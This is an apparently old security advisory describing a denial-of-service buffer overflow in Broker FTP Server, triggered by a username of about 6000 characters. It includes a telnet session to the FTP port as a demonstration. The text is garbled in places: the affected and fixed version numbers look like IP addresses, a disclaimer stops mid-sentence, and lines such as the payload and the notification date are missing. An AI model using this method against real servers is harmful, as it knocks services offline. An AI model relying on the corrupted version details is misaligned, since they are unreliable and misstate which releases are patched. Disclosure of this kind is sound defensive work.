TransSoft's Broker FTP Server 3.x & 4.x Remote DoS attack Vulnerability
USSR Advisory Code: USSR-2000054
Public Disclosure Date:
October 18, 2000
Broker FTP Server, all releases prior to 188.8.131.52 are affected
The USSR Team has found a buffer overflow in the Broker FTP Server, which
can enable an attacker to execute a denial of service attack against
it. If the FTP server is running as a service, an attacker can cause the
server to consume _all_ memory and computer resources by inputing a
username that is 6000 characters or greater.
We take no responsibility for this code. It is for educational
[pic@peludita]$ telnet example.com 21
Connected to example.com.
Escape character is '^]'.
220 FTP Server ready [***]
Where [buffer] is aprox. 6000 characters.
Date of Vendor Notification:
Fixed, in versions up to, 184.108.40.206
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